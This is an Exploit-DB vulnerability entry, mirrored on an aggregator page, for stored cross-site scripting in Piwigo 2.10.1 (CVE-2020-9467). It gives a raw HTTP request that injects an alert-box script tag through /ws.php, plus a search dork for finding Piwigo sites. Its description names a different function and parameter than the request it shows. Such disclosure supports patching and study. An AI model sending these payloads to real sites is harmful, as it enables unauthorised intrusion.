Piwigo 2.10.1 - Cross Site Scripting

🗓️ 16 Sep 2020 00:00:00Reported by IridiumType

exploitdb🔗 www.exploit-db.com👁 985 Views

Piwigo 2.10.1 XSS via stored XSS in /ws.php reques

Reporter	Title	Published	Views	Family All 9
CNVD	Piwigo Cross-Site Scripting Vulnerability (CNVD-2020-24036)	27 Mar 202000:00	–	cnvd
CVE	CVE-2020-9467	26 Mar 202019:09	–	cve
Cvelist	CVE-2020-9467	26 Mar 202019:09	–	cvelist
EUVD	EUVD-2020-30286	7 Oct 202500:30	–	euvd
NVD	CVE-2020-9467	26 Mar 202020:15	–	nvd
Packet Storm	Piwigo 2.10.1 Cross Site Scripting	16 Sep 202000:00	–	packetstorm
Prion	Cross site scripting	26 Mar 202020:15	–	prion
RedhatCVE	CVE-2020-9467	22 May 202516:28	–	redhatcve
UbuntuCve	CVE-2020-9467	26 Mar 202020:15	–	ubuntucve

# Exploit Title: Piwigo 2.10.1 - Cross Site Scripting
# POC by: Iridium
# Software Homepage: http://www.piwigo.org
# Version : 2.10.1
# Tested on: Linux & Windows
# Category: webapps
# Google Dork: intext: "Powered by Piwigo"
# CVE : CVE-2020-9467

######## Description ########

Piwigo 2.10.1 has stored XSS via the file parameter in a /ws.php request
because of the pwg.images.setInfo function.

######## Proof of Concept ########

*Request*

POST /piwigo/ws.php?format=json HTTP/1.1
Host: [victim]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101
Firefox/80.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 79
Origin: http://[victim]
Connection: close
Referer: http://[victim]/piwigo/admin.php?page=photos_add&section=direct
Cookie: pwg_id=08tksticrdkctrvj3gufqqbsnh

method=pwg.categories.add&parent=1&name=%3Cscript%3Ealert('XSS')%3C%2Fscript%3E

16 Sep 2020 00:00Current

5.5Medium risk

Vulners AI Score5.5

CVSS 23.5

CVSS 3.15.4

EPSS0.00198